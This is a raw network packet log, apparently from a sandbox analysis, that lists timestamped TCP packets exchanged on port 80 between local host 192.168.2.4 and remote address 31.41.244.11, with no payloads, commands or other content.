Dec 20, 2024 04:12:46.754540920 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.755439043 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.755482912 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.755548954 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.756562948 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.756611109 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.756678104 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.756715059 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.757647991 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.757745981 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.757772923 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.757812023 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.758760929 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.758805990 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.758863926 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.758903027 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.759877920 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.759918928 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.759974957 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.760471106 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.760972977 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.761097908 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.761138916 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.762092113 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.762255907 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.762295008 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.763266087 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.763324976 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.763400078 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.763453960 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.764321089 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.764367104 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.764393091 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.765450954 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.765496016 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.765573025 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.765619993 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.766518116 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.766562939 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.766691923 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.766731024 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.767597914 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.767647982 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.767770052 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.767812014 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.768721104 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.768827915 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.768840075 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.768863916 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.769857883 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.769972086 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.770020962 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.770940065 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.770986080 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.771043062 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.771087885 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.772042990 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.772178888 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.772217035 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.773145914 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.773262978 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.773305893 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.774249077 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.774302959 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.774312973 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.774337053 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.775366068 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.775479078 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.775521040 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.776489973 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.776527882 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.776592970 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.777590990 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.777635098 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.777697086 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.777970076 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.778687954 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.778785944 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.778820992 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.779728889 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.780648947 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.913609028 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.913656950 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.913713932 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.913757086 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.914125919 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.914172888 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.914175034 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.914222956 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.914946079 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.915004969 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.915060043 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.915096998 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.916101933 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.916191101 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.916244030 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.917244911 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.917289019 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.917354107 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.917393923 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.918282986 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.918333054 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.918340921 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.918385983 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.919394970 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.919437885 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.919490099 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.919528008 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.920490980 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.920530081 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.920581102 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.920617104 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.921626091 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.921664000 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.921735048 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.921771049 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.922744036 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.922785997 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.922854900 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.922892094 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.923841000 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.923890114 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.923962116 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.924035072 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.924987078 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.925035000 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.925100088 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.925137043 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.926038980 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.926089048 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.926142931 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.926187038 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.927130938 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.927175999 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.927253008 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.927290916 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.928222895 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.928271055 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.928337097 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.928380966 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.929349899 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.929445028 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.929464102 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.929502964 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.930444002 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.930494070 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.930551052 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.930584908 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.931608915 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.931653976 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.931716919 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.931761980 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.932687998 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.932739019 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.932799101 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.932835102 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.933794975 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.933845043 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.933902979 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.933943987 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.934937954 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.934984922 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.934990883 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.935036898 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.936008930 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.936048985 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.936105967 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.936145067 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.937130928 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.937179089 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.937308073 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.937352896 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.938276052 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.938334942 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.938391924 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.938438892 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.939348936 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.939404964 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.939434052 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.939477921 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.940423012 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.940480947 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.940541983 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.940582037 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.941517115 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.941565990 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.941623926 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.941658020 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.942655087 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.942693949 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.942764997 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.942859888 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.943737030 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.943782091 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.943850040 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.943888903 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.944853067 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.944905996 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.944924116 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.944962025 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.945933104 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.945980072 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.946037054 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.946077108 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.947055101 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.947103024 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.947154045 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.947194099 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.948179007 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.948230028 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.948278904 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.948321104 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.949261904 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.949332952 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.949383974 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.949420929 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.950469017 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.950516939 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.950586081 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.950633049 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.951472998 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.951530933 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.951561928 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.951603889 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.952584028 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.952639103 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.952678919 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.952727079 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.953676939 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.953737020 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.953782082 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.953821898 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.954782009 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.954799891 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.954826117 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.954837084 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.955888033 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.955941916 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.955980062 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.956023932 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.957005024 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.957051039 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.957197905 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.957242966 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.958101988 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.958141088 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.958223104 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.958264112 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.959233046 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.959274054 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.959326029 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.959367037 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.960319996 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.960355997 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.960396051 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.960433960 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.961416960 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.961456060 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.961530924 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.961571932 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.962524891 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.962573051 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.962591887 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.962636948 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.963632107 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.963673115 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.963797092 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.963838100 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.964749098 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.964792013 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.964859962 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.964899063 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.965893984 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.965949059 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.965966940 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.966010094 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.966984987 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.967029095 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.967099905 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.967139959 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.968049049 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.968096018 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.968170881 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.968213081 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.969175100 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.969218969 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.969278097 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.969317913 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.970284939 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.970330000 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.970398903 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.970443010 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.971345901 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.971388102 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.154244900 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.154337883 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.154361963 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.154386044 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.154804945 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.154855967 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.154863119 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.154900074 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.155906916 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.155955076 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.156002998 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.156043053 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.157011986 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.157052994 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.157350063 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.157376051 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.157387972 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.157414913 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.158469915 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.158514023 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.158574104 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.158617973 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.159600019 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.159647942 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.159693003 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.159730911 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.160672903 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.160717964 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.160778999 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.160820961 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.161788940 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.161834002 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.161866903 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.161910057 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.162949085 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.162967920 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.162992001 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.163002014 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.164012909 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.164057970 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.164088011 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.164129019 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.165141106 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.165184975 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.165242910 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.165285110 CET	49875	80	192.168.2.4	31.41.244.11
